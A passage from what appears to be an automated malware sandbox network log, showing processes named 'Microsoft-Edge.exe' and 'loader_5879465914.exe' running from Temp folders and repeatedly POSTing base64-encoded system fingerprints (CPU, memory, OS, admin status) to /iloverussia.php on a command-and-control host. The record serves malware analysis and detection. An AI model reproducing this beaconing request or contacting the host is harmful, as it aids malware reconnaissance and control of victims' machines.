2024-09-27 15:42:14 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qnlCE%2FtMMRbW1%2BT0wcab1exauqCXtVQlaFQMezD4qCQ%2BnevDFbQ0BJDyRoct%2FtWEtWy9kdJ2CmZy1Zt0b9xEkP6Rk7lLcDo3AMESEtDR3VOvKbg21Kgwv%2FQTWQQbdSCAyaxlw2q2g04Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a37bed68c3f-EWR
2024-09-27 15:42:14 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49758	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:13 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:14 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7HkBdN6PD9BVGUPXO8ckIAwQ%2FIyYoW%2F2d5xjm5iz4k0aX5W9X2ulAAbYzze%2BgkEchIJXCntzKn3TDVCcvQDEYYQpMCfu6ba0mlNFJxvpDYtF0y40fuQUFLWu7T6wVoKChj6Z9qJjBC5x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a37cdfa0f78-EWR
2024-09-27 15:42:14 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49760	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:14 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:15 UTC	638	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L%2BHKWZW6cZohcVLe%2Fs6s%2ByOFaLByn%2Bc%2Bz7t2GB%2Bd6bNGuHI6K1JL%2BjrcSin6D0AqTz6ulxG%2Fr7C5zJH3%2F6RQZwu8eAO1wD%2FWfMfdNFWuZRHOJJt87R3ki%2BmFyH2laCvY6SZt2zgiEG60"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a400bf24265-EWR
2024-09-27 15:42:15 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:15 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:15 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nbkIH0%2BdootVIGjwIb75Zuj8NMFyEfU8LFaJC5vjdIhldx5Pll8Y8QbHKeRy14BQ8%2BelMi3996rcP4ECMaV3wVlnI0DZpC%2F%2B61W7OoosAB144s6r6DtkZCvrnjk0q7o5OOSa%2BpTAeGg0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a406acf78dc-EWR
2024-09-27 15:42:15 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:16 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:16 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SUUKkebWmwnawJ7PyGLFxBeu4kqeuIx5fOw6uFdJKIN4X2Ify7l0t68inf3yO5oR2Ph7peeRIcXyp7u%2BgTa1CYftxoeE8pHIl8tC0RM10nxVqUXqBu22yb6G6GZyv%2FvsisBM747Onv1g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a490c8b7d1a-EWR
2024-09-27 15:42:16 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:16 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:16 UTC	650	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4ITfMqrJjYN8hMKRoWE2Y0lgLh5zdMtAB98z5X8Gz3s8EImttvy6NIMyDTyTftjBbygUBzlY0qUi07wPZ6THY6CXSD8eVySRsdJP4naar%2FKX8418pztq%2FnWrMV6QVHCptxBZ7WZFoIyM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a48fe3f185d-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 15:42:16 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49767	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:17 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:18 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rkA5JI9JP4nXjxeevEUs6zz9LVcQ0WStTt2Lscz6ROePGD05I5sULeuNU36dyZ%2F51Obk7KFwnkSJtF8nQmz%2F8EH2or4xDWuUY%2FesX9mmoF%2BlXQKqISxUYRBryI2e3E0FYwxgDw97A4xk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a51f8cbc402-EWR
2024-09-27 15:42:18 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49768	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:17 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:18 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RcJ5gHQhldi7qnfSzWTsr2Cph7NnYYD5QvYz%2FKeqxPcKQ5eLc90iq12cFD7pgNsU0Ff0Pv63AbP0wMPX5%2ByJ6cvBpO391XpskG1LQFK38hCqk0HfskftWzi7MEgifyTYnIyS3cqzqhkt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a524b60726f-EWR
2024-09-27 15:42:18 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49770	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:19 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:19 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1VwFJHoY9pSp5MbB0t1crhJdmR6yLtTGrv4fjW0e2Uk9HL1aE%2BJfVeqYiWOf%2BK9GaipUzI8fboCA7QweG2Ya3H4ltL5hVUN8hMsms8o4coUnbcgiraFcReTniXtpr7%2FEtyFaVphv5Kll"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a59accd8c96-EWR
2024-09-27 15:42:19 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49771	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:19 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:19 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BGQDdqHM0fSSM4IGenfizZGtsOLm6YJKwW8Ny6VBvHJ7Sv%2B%2BzHeIpAN9Fy4DnUTsFHMsHGfxex85hFAQWgXL%2BU3bjudJsqp1HzHHCm7UC817DlDZnc9bv5hxGYL98rDJxAQiDp%2BxVzfb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a59ecd14379-EWR
2024-09-27 15:42:19 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49773	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:20 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:21 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kTQdRws7pK%2BydJqS3Vy5h1T4N%2FZryMK1idHZk1ypJJy0u1CXBn87ftrM1nTywgovD3QT1cGsYYUUfLgV5d4R8mt3jWSAkWkNtUOKBsKpA5ZZO6c7RGKn5ArhEvFTrl3dTOetVdKoZpf5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a6468b30f98-EWR
2024-09-27 15:42:21 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49774	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:20 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:21 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iK34POesKNt0ofC0CBs4c252LzFQtWhNnBh8yitEtKpj2XqGZbO34v%2F9WZUZL7b3D2%2FrXGNWT1KjpjOCEdFYrk2%2F6itXifY0lDxrVD%2Fzmo9RFfzl0O8liQAWp8WDUU9eV8dVU243VFJO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a646d0a426b-EWR
2024-09-27 15:42:21 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49776	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:22 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:22 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DtbRYelX451JX3HxCTMDmSFd5RIgacvc49F80JBVYrnidw0fz3T8%2FaZht5i73oUwYtWsO%2BylY1MYCjNCUXNw%2FBsOdHMA51GYIWX2Ks2bw%2BP1m96YjM%2BoTm1C0U5noPyk1Urdlna2NFlH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a6c6ba08cdc-EWR
2024-09-27 15:42:22 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49777	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
